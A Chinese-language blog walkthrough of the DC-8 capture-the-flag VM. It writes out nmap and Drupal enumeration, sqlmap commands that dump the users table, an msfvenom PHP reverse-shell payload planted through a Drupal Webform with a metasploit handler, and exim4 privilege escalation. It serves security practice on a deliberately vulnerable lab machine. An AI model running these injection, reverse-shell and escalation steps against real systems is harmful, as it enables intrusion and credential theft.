靶机地址
难度:未定义
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com
工具、知识点和漏洞
netdiscover
nmap
dirsearch
msfvenom
metasploit
searchsploit
exim 4.87-4.91本地提权漏洞
存疑、待解决
- 为什么shell代码之前要添加其他任意的字符?
0x01、信息收集
靶机IP
netdiscover -r 192.168.0.0/24
端口和服务
nmap -sS -sV -T4 -A -p- 192.168.0.110
Drupal 7
./droopescan scan drupal -u http://192.168.0.110 -e a
python3 drupwn --users --nodes --modules --dfiles --themes enum http://192.168.0.110
默认管理员用户admin的UID为1
0x02、SQLi获取后台登录口令
网站首页
是不是以为首页左边的无序列表和上面的菜单栏各自对应的链接一样?嗨呀,要是你的第一反应跟我一样,觉得是一样的,那就大错特错了。
Home | Who We Are | Contact Us |
---|---|---|
http://192.168.0.110/ | http://192.168.0.110/node/2 | http://192.168.0.110/node/3 |
VS
Welcome to DC-8 | Who We Are | Contact Us |
---|---|---|
http://192.168.0.110/?nid=1 | http://192.168.0.110/?nid=2 | http://192.168.0.110/?nid=3 |
看到id就想到SQL注入
(SQLi),看到留言就想到XSS
祭出神器SQLMap
sqlmap -u "http://192.168.0.110/?nid=1" --dbs
sqlmap -u "http://192.168.0.110/?nid=1" -D d7db --tables
sqlmap -u "http://192.168.0.110/?nid=1" -D d7db -T users --columns
sqlmap -u "http://192.168.0.110/?nid=1" -D d7db -T users -C name,pass --dump
用hash-identifier
没有识别出加密算法,直接用John the Ripper
破解
0x03、Drupal Webform反弹shell
使用john
/turtle
登录后台,准备反弹shell
关于Drupal反弹shell,请看164-drupal-to-reverse-shell
如果你看过我写的DC:7靶机-Walkthrough,你可能会想到通过Add content-->Basic page
去添加一个webshell,但是在这个靶机里面我们是通过Add content-->Webform
去添加webshell的。
Title填好之后直接回车
点击右上角的WEBFROM
按钮,先在下方添加一个留言框,设置好留言框的名字,就是在Label
下面填入,留言框的类型就设置成Textfield
,点击右侧的Add,然后点击Form settings
,填入shell代码
webshell我是用msfvenom
生成的
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R > shell.php
设置Text format
为PHP code
,页面拉到最下面,点击Save configuration
,之后会在顶部提示设置已经更新完毕。这个时候不要关闭这个配置页面,而是点击右上角的VIEW
按钮
注意:上面除了shell代码之外,必须加一些其他的东西,不然无法反弹shell。这一步我真是卡了好一会儿,最后是看了一下老外写的walkthrough,汗颜(人_人)
然后在下图输入框中随便输入点什么
留言区域上方的
shell in there
忽略,这个我写错了。
然后点击下方的按钮webshell
,这个名字是自己定义的,我这里是webshell,之后会跳转到最终的提交页面,在点击下方的Submit
按钮之前,你需要先在kali上监听端口,我这里使用的metasploit
,因为shell代码是msfvenom
生成的。
msfconsole
接收反弹的shell
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
我这里是自己新建了一个Webform,其实我们可以直接通过点击网页顶部导航栏里的Contact Us
,因为它也是一个Webform,然后去点击Webform
–>Form settings
,在输入区域加入shell代码,设置Text format
为PHP code
。
0x04、exim4提权
直接用脚本搜集一下对于提权有用的信息,老样子还是用linuxprivchecker.py
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
为了便于查看收集到的信息,我将结果输出到report.txt文本中,随后用less命令进行查看
python linuxprivchecker.py > report.txt
less report.txt
在SUID可执行文件中我发现了之前没见过的一个程序exim4
exploit-db相关链接
第一次执行报错,又是因为不同系统之间编码格式的问题造成的,解决方案
exp中提供了两种提权方式,我最开始尝试使用setuid
的方法,结果提示cp: cannot create regular file '/tmp/pwned': Text file busy
后来使用了第二种方法成功提权
0x05、后记
后面我对shell代码前面没有其他字符
和有其他字符
的两种情况进行了抓包对比,但是没有分析出什么东西。
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。